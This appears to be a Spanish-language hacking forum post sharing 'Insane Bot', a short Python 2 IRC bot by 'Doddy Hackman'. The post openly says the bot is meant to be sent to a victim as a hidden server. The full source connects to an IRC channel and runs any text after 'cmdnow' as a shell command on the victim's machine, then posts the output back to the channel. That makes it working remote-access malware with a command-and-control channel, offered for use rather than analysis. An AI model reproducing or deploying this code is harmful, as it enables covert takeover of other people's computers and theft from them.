Aca les traigo un IRC Bot en Python para poder usar como servidor oculto y mandarselo a una victima para poder controlarla desde un comando canal IRC.
El comando clave para mandar comandos que despues se muestra el resultado de comando en el chat es :
Código: Seleccionar todo
cmdnow TUCOMANDO
#!usr/bin/python
#Insane Bot (C) Doddy Hackman 2011
#Version beta 0.00001
import re,socket
import subprocess
host = "127.0.0.1"
canal = "#locos"
nick = "bot"
irc = socket.socket()
try:
irc.connect((host,6667))
irc.send("NICK "+nick+"\r\n")
irc.send("USER "+nick+" 1 1 1 1\r\n")
irc.send("JOIN "+canal+"\r\n")
print "[+] Insane Bot Online\n"
while 1:
code = irc.recv(9999)
if re.findall("PING",code):
irc.send("PONG "+code.split()[1]+"\r\n")
if re.findall("PRIVMSG",code):
nick = code.split("!")
nick = nick[0].replace(":","")
msg = code.split(":")[2:][0]
if re.findall("cmdnow",code):
cmd = code.split("cmdnow")[1]
irc.send("PRIVMSG "+canal+" : [+] Loading command : "+cmd+"\n")
rea = subprocess.Popen(cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
if rea:
re1 = rea.stdout.read()
total = re1.replace("\n","|")
irc.send("PRIVMSG "+canal+" : "+total+"\n")
else:
re2 = rea.stderr.read()
total = re2.replace("\n","|")
irc.send("PRIVMSG "+canal+" : "+total+"\n")
except:
print "\n\n[-] Error\n\n"
# The End